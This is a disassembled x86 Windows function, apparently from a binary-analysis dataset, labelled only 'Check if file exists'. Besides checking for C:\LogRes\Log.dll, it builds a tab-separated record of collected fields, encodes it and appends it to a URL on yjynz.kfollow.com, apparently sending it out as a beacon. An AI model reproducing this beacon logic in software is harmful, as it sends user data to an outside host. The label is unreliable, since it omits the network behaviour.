Function at 0x40e9a0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x592622
mov eax, dword fs:[0]
push eax
mov eax, 0x1d44
call fcn.005667f0
mov eax, dword [0x61ea64]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebp + 0x10]
lea ecx, [ebp - 0x1d44]
push 0x11
xor eax, eax
mov dword [ebp - 0x1d34], 0
push str.C:LogResLog.dll
mov dword [ebp - 0x1d30], 7
mov word [ebp - 0x1d44], ax
call fcn.00401730
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1d44]
cmp dword [ebp - 0x1d30], 8
cmovae eax, dword [ebp - 0x1d44]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40ea72
cmp byte [ebp + 0xc], al
je 0x40ea72
push 0x270f
push eax
mov byte [ebp - 0x1d46], al
call fcn.0041c73b
movzx ecx, byte [ebp - 0x1d46]
add esp, 8
cmp eax, 0x64
mov edx, 1
cmovle ecx, edx
mov dword [ebp - 0x1d4c], ecx
call fcn.00414cd8
test eax, eax
jne 0x40ea72
cmp byte [ebp - 0x1d4c], al
je 0x40ee5e
mov ecx, esi
mov dword [ebp - 0x1d04], 0
mov dword [ebp - 0x1d00], 0xf
mov byte [ebp - 0x1d14], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ea92
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1d14]
call fcn.00401870
lea eax, [ebp - 0x1d14]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1d2c]
push eax
call fcn.004125f8
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x1d00]
cmp edx, 0x10
jb 0x40eb00
mov ecx, dword [ebp - 0x1d14]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40eaf6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40eeb8
push edx
push ecx
call fcn.00565ee4
add esp, 8
cmp dword [ebp - 0x1d18], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d2c]
mov dword [ebp - 0x1d04], 0
cmovae eax, dword [ebp - 0x1d2c]
push ecx
push eax
mov dword [ebp - 0x1d00], 0xf
mov byte [ebp - 0x1d14], 0
call fcn.004126d5
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.0056c410
lea edi, [ebx + 0xd4]
add esp, 0x14
cmp dword [edi + 0x14], 0x10
jb 0x40eb60
mov edi, dword [edi]
cmp dword [ebx + 0x70], 0x10
lea eax, [ebx + 0x5c]
jb 0x40eb6b
mov eax, dword [eax]
cmp dword [ebx + 0xb8], 0x10
lea ecx, [ebx + 0xa4]
jb 0x40eb7c
mov ecx, dword [ecx]
cmp dword [ebx + 0xa0], 0x10
lea edx, [ebx + 0x8c]
jb 0x40eb8d
mov edx, dword [edx]
cmp dword [ebx + 0x58], 0x10
lea esi, [ebx + 0x44]
jb 0x40eb98
mov esi, dword [esi]
push edi
push dword [ebp + 0x14]
lea edi, [ebp - 0x114]
push edi
push eax
push ecx
push edx
push esi
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00409630
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.0056c410
lea ecx, [ebp - 0x1ccc]
mov dword [ebp - 0x1d50], 0xbb8
add esp, 0x30
mov dword [ebp - 0x1cec], 0
mov dword [ebp - 0x1ce8], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x1cfc], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ec00
sub ecx, edx
lea eax, [ebp - 0x1ccc]
push ecx
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.00401870
lea ecx, [ebp - 0x1d50]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x1ce8], 0x10
lea eax, [ebp - 0x1cfc]
push ecx
cmovae eax, dword [ebp - 0x1cfc]
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1cec]
push eax
call fcn.0041e21a
add esp, 0x10
lea ecx, [ebp - 0x1d45]
call fcn.00401b40
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d45]
call fcn.0041dc3a
push 0x48
push str.https:__yjynz.kfollow.com__70c305bbfef42fe8b1ff559626459494115e210e1d
lea ecx, [ebp - 0x1ce4]
mov dword [ebp - 0x1cd4], 0
mov dword [ebp - 0x1cd0], 0xf
mov byte [ebp - 0x1ce4], 0
call fcn.00401870
lea edi, [ebp - 0xccc]
mov byte [ebp - 4], 6
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x40ecb0
mov edx, dword [ebp - 0x1cd0]
sub edi, ecx
mov ecx, dword [ebp - 0x1cd4]
mov eax, edx
sub eax, ecx
push edi
cmp edi, eax
ja 0x40ecff
lea eax, [edi + ecx]
cmp edx, 0x10
mov dword [ebp - 0x1cd4], eax
lea esi, [ebp - 0x1ce4]
cmovae esi, dword [ebp - 0x1ce4]
lea eax, [ebp - 0xccc]
add esi, ecx
push eax
push esi
call fcn.0056be90
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x40ed1f
lea eax, [ebp - 0xccc]
mov byte [ebp - 0x1d4c], 0
push eax
push dword [ebp - 0x1d4c]
lea ecx, [ebp - 0x1ce4]
push edi
call fcn.00407780
cmp dword [ebp - 0x1cd0], 0x10
lea eax, [ebp - 0x1ce4]
push ecx
cmovae eax, dword [ebp - 0x1ce4]
mov ecx, ebx
push eax
call fcn.0040f330
test eax, eax
jne 0x40ed4c
push 0x613424
mov ecx, ebx
call fcn.0040f6c0
mov edx, dword [ebp - 0x1cd0]
cmp edx, 0x10
jb 0x40ed86
mov ecx, dword [ebp - 0x1ce4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ed7c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40eebd
push edx
push ecx
call fcn.00565ee4
add esp, 8
lea ecx, [ebp - 0x1d45]
mov dword [ebp - 0x1cd4], 0
mov dword [ebp - 0x1cd0], 0xf
mov byte [ebp - 0x1ce4], 0
call fcn.00401430
mov edx, dword [ebp - 0x1ce8]
cmp edx, 0x10
jb 0x40ede6
mov ecx, dword [ebp - 0x1cfc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40eddc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40eec2
push edx
push ecx
call fcn.00565ee4
add esp, 8
mov edx, dword [ebp - 0x1d18]
mov dword [ebp - 0x1cec], 0
mov dword [ebp - 0x1ce8], 0xf
mov byte [ebp - 0x1cfc], 0
cmp edx, 8
jb 0x40ee41
mov ecx, dword [ebp - 0x1d2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ee37
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40eec7
push edx
push ecx
call fcn.00565ee4
add esp, 8
xor eax, eax
mov dword [ebp - 0x1d1c], 0
mov dword [ebp - 0x1d18], 7
mov word [ebp - 0x1d2c], ax
mov edx, dword [ebp - 0x1d30]
cmp edx, 8
jb 0x40ee9a
mov ecx, dword [ebp - 0x1d44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ee90
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40eecc
push edx
push ecx
call fcn.00565ee4
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00565c09
mov esp, ebp
pop ebp
ret 0x10
call fcn.0056e889
call fcn.0056e889
call fcn.0056e889
call fcn.0056e889
call fcn.0056e889
int3